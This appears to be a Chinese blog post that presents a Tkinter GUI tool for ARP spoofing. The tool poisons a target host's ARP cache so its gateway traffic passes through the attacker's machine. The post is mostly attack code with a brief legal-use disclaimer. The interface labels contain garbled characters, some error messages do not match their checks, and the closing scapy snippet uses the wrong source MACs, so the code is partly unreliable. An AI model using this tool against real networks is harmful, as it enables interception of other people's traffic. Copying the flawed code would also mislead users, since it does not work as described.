Bootstrap

基于Tkinter GUI库的ARP欺骗攻击工具

基于Tkinter GUI库的ARP欺骗攻击工具

程序提供了一个简单易用的GUI界面,让用户可以方便地进行ARP欺骗攻击。但ARP欺骗是一种黑客攻击手段,可能会造成严重的网络安全问题,请谨慎使用,仅限于合法的网络安全测试和研究目的。

这个ARP欺骗工具需要用户输入目标主机的IP和MAC地址,以及网关路由器的IP地址,然后工具会伪造ARP应答报文,欺骗目标主机将网关路由器的MAC地址更新为攻击者自己的MAC地址。这样,目标主机发往网关的流量就会经过攻击者控制的机器,从而实现中间人攻击。

代码示例

from tkinter import *
from ArpSpoofing import *
import tkinter.messagebox


class ArpSpoofingForm:
    def __init__(self):
        window = Tk()
        window.title("ARP放骗")

        frame1 = Frame(window)
        frame1.pack()

        label1 = Label(frame1, text="日标主机IP地址:")
        label1.grid(row=0, column=0)
        self.objectIP = StringVar()
        entryObjectIP = Entry(frame1, textvariable=self.objectIP)
        entryObjectIP.grid(row=0, column=1)

        label2 = Label(frame1, text="日标主机MAC地址:")
        label2.grid(row=1, column=0)
        self.objectMAC = StringVar()
        entryObjectMAC = Entry(frame1, textvariable=self.objectMAC)
        entryObjectMAC.grid(row=1, column=1)

        label3 = Label(frame1, text="公网路出器即地址:")
        label3.grid(row=2, column=0)
        self.routerIP = StringVar()
        entryRouterIP = Entry(frame1, textvariable=self.routerIP)
        entryRouterIP.grid(row=2, column=1)

        label4 = Label(frame1, text="本机MAC地址:")
        label4.grid(row=3, column=0)
        self.localMAC = StringVar()
        entryLocalMAC = Entry(frame1, textvariable=self.localMAC)
        entryLocalMAC.grid(row=3, column=1)

        buttonSpoofing = Button(window, text="ARP欺骗", command=self.spoofing)
        buttonSpoofing.pack()

        window.mainloop()

    def spoofing(self):
        objectIP = self.objectIP.get()
        if objectIP == "":
            tkinter.messagebox.showerror("", "请输入目标主机IP地址")
            return
        objectMAC = self.objectMAC.get()
        if objectMAC == "":
            tkinter.messagebox.showinfo("", "日标主机MAC地址!")
            return
        localMAC = self.localMAC.get()
        if localMAC == "":
            tkinter.messagebox.showinfo("", "本机网卡错误!")
            return
        routerIP = self.routerIP.get()
        if routerIP == "":
            tkinter.messagebox.showinfo("", "本机未联网!")
            return

        s = ArpSpoofing(objectMAC, objectIP, localMAC, routerIP)
        s.spoofing(100)


ArpSpoofingForm()

运行效果
在这里插入图片描述

图形用户界面

创建Tkinter主窗口,并设置标题

window = Tk()
window.title("ARP放骗")

Frame 容器,组织各个GUI组件

frame1 = Frame(window)
frame1.pack()

Label 和 Entry 组件,用于用户输入目标主机IP、MAC地址,网关路由器IP以及本机MAC地址

label1 = Label(frame1, text="日标主机IP地址:")
self.objectIP = StringVar()
entryObjectIP = Entry(frame1, textvariable=self.objectIP)

label2 = Label(frame1, text="日标主机MAC地址:")
self.objectMAC = StringVar()
entryObjectMAC = Entry(frame1, textvariable=self.objectMAC)

label3 = Label(frame1, text="公网路出器即地址:")
self.routerIP = StringVar()
entryRouterIP = Entry(frame1, textvariable=self.routerIP)

label4 = Label(frame1, text="本机MAC地址:")
self.localMAC = StringVar()
entryLocalMAC = Entry(frame1, textvariable=self.localMAC)
  • 目标主机IP地址:
    这个参数指的是你想要欺骗的目标主机的IP地址。也就是说,你要让这个目标主机相信它与网关路由器之间的ARP映射关系是错误的。
  • 目标主机MAC地址:
    这个参数对应的是目标主机的MAC地址。ARP欺骗的本质就是伪造ARP应答报文,使目标主机相信攻击者的MAC地址与网关路由器的IP地址对应。所以需要输入目标主机的MAC地址。
  • 网关路由器IP地址:
    网关路由器是目标主机访问Internet的默认路由。ARP欺骗的目的是让目标主机相信攻击者的MAC地址与网关路由器的IP地址对应,从而将目标主机的网络流量导向攻击者控制的机器。所以需要输入网关路由器的IP地址。
  • 本机MAC地址:
    这个参数对应的是运行该ARP欺骗工具的主机自己的MAC地址。因为ARP欺骗需要伪造ARP应答报文,所以需要告诉工具自己的MAC地址,作为伪造ARP应答报文的源MAC地址。

"ARP欺骗"按钮,点击后触发 spoofing 方法

buttonSpoofing = Button(window, text="ARP欺骗", command=self.spoofing)
buttonSpoofing.pack()

spoofing 方法

获取用户输入的各项参数,并进行合法性检查

objectIP = self.objectIP.get()
if objectIP == "":
    tkinter.messagebox.showerror("", "请输入目标主机IP地址")
    return
# 对其他参数的检查逻辑类似

执行ARP欺骗攻击

s = ArpSpoofing(objectMAC, objectIP, localMAC, routerIP)
s.spoofing(100)

scapy 库 ARP 类构造ARP数据包

from scapy.all import ARP, send

def arp_spoof(target_ip, target_mac, gateway_ip, gateway_mac):
    # 构造目标主机的ARP应答包
    arp_reply = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip, hwsrc=gateway_mac)
    send(arp_reply, verbose=False)

    # 构造网关路由器的ARP应答包
    arp_reply = ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip, hwsrc=target_mac)
    send(arp_reply, verbose=False)
;